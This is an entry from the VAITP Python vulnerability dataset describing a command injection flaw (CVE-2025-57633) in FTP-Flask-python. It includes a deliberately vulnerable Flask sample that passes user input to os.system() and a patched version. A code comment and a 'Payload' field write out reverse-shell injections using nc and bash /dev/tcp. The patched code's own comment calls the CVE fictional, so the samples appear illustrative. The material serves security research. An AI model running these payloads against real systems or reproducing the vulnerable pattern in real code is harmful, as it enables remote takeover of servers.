VAITP Dataset

← Back to the dataset

CVE-2025-57633

Unauthenticated command injection in FTP-Flask-python via ftp_file parameter.

  • CVSS 9.8
  • CWE-77
  • Input Validation and Sanitization
  • Remote

A command injection vulnerability in FTP-Flask-python through 5173b68 allows unauthenticated remote attackers to execute arbitrary OS commands. The /ftp.html endpoint's "Upload File" action constructs a shell command from the ftp_file parameter and executes it using os.system() without sanitization or escaping.

CVSS base score
9.8
Published
2025-09-09
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
FTP-Flask-py
Fixed by upgrading
Yes

Solution

Upgrade to commit `9eb32c4` or a later version.

Vulnerable code sample

import os
from flask import Flask, request, render_template_string

app = Flask(__name__)

# HTML template for the upload form
FTP_PAGE_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
    <title>FTP File Upload</title>
</head>
<body>
    <h1>Upload File</h1>
    <form method="post" action="/ftp.html">
        <label for="ftp_file">File Path:</label>
        <input type="text" id="ftp_file" name="ftp_file" size="50">
        <input type="submit" value="Upload File">
    </form>
    <hr>
    <p><strong>Status:</strong> {{ status }}</p>
</body>
</html>
"""

@app.route('/ftp.html', methods=['GET', 'POST'])
def ftp_upload():
    """Vulnerable function that demonstrates the security issue."""
    status_message = "Ready for upload."
    if request.method == 'POST':
        ftp_file = request.form.get('ftp_file')
        if ftp_file:
            # VULNERABLE CODE BLOCK
            # The user-provided 'ftp_file' parameter is used to construct a shell command.
            # This command is then executed by os.system() without any sanitization,
            # allowing for command injection.
            # A malicious user could input something like: "; id" or "; nc -e /bin/sh ATTACKER_IP 4444"
            command = "echo 'Processing file: " + ftp_file + "'"
            os.system(command)
            # END OF VULNERABLE CODE BLOCK
            
            status_message = f"Executed upload command for: {ftp_file}"
        else:
            status_message = "Error: No file path provided."

    return render_template_string(FTP_PAGE_TEMPLATE, status=status_message)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Patched code sample

import os
import shutil
from flask import Flask, request, render_template_string
from werkzeug.utils import secure_filename

# This code represents a fixed version of the application described in the fictional CVE.
# The original vulnerability would have used os.system() with unsanitized user input.
# The fix demonstrates two critical security principles:
# 1. Input Sanitization: Using `secure_filename` to prevent path traversal and remove dangerous characters.
# 2. Avoiding Shell Execution: Using safe, high-level functions like `shutil.move` instead of constructing and executing shell commands with `os.system` or `subprocess`.

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

# Create the upload directory if it doesn't exist
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>FTP-Flask-python File Uploader (Patched)</title>
</head>
<body>
    <h1>Upload a File</h1>
    <p>This version has been patched against command injection.</p>
    <form method="post" enctype="multipart/form-data">
        <label for="file_to_upload">Select file to upload:</label>
        <input type="file" name="file_to_upload" id="file_to_upload">
        <br><br>
        <label for="ftp_file">Desired filename on server:</label>
        <input type="text" name="ftp_file" id="ftp_file">
        <br><br>
        <input type="submit" value="Upload File">
    </form>
    <h2>{{ message }}</h2>
</body>
</html>
"""

@app.route('/ftp.html', methods=['GET', 'POST'])
def ftp_upload_page():
    """Secure function that fixes the vulnerability."""
    message = ""
    if request.method == 'POST':
        # Check if the post request has the file part
        if 'file_to_upload' not in request.files:
            message = 'No file part in the request.'
            return render_template_string(HTML_TEMPLATE, message=message), 400
        
        uploaded_file = request.files['file_to_upload']
        
        # Get the desired filename from the form
        ftp_file_name = request.form.get('ftp_file')

        if uploaded_file.filename == '':
            message = 'No file selected.'
            return render_template_string(HTML_TEMPLATE, message=message), 400

        if not ftp_file_name:
            message = 'Desired filename cannot be empty.'
            return render_template_string(HTML_TEMPLATE, message=message), 400

        # --- THE FIX ---
        # 1. Sanitize the user-provided filename to prevent path traversal (e.g., "../../../etc/passwd").
        #    `secure_filename` strips directory components and ensures a safe, flat filename.
        safe_filename = secure_filename(ftp_file_name)

        if not safe_filename:
            message = f'Invalid filename provided: "{ftp_file_name}"'
            return render_template_string(HTML_TEMPLATE, message=message), 400

        # Construct the full, safe destination path
        destination_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)
        
        # Save the file temporarily to demonstrate the move operation safely.
        temp_path = os.path.join(app.config['UPLOAD_FOLDER'], "temp_upload_file")
        uploaded_file.save(temp_path)

        # 2. Use a safe, non-shell function to move the file.
        #    `shutil.move` performs the file operation directly, without interpreting its
        #    arguments as a shell command, thus eliminating the command injection vector.
        #
        # VULNERABLE CODE REPLACED:
        # command = f"mv {temp_path} {destination_path}"  <-- User input in `destination_path`
        # os.system(command)                              <-- This executes the injected command
        try:
            shutil.move(temp_path, destination_path)
            message = f'File successfully uploaded and saved as "{safe_filename}"'
        except Exception as e:
            message = f'An error occurred: {e}'
            # Clean up temp file in case of error
            if os.path.exists(temp_path):
                os.remove(temp_path)

    return render_template_string(HTML_TEMPLATE, message=message)

if __name__ == '__main__':
    # For demonstration purposes only. Use a production WSGI server in a real deployment.
    app.run(debug=True, port=8080)

Payload

anyfile.txt; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Cite this entry

@misc{vaitp:cve202557633,
  title        = {{Unauthenticated command injection in FTP-Flask-python via ftp_file parameter.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-57633},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-57633/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::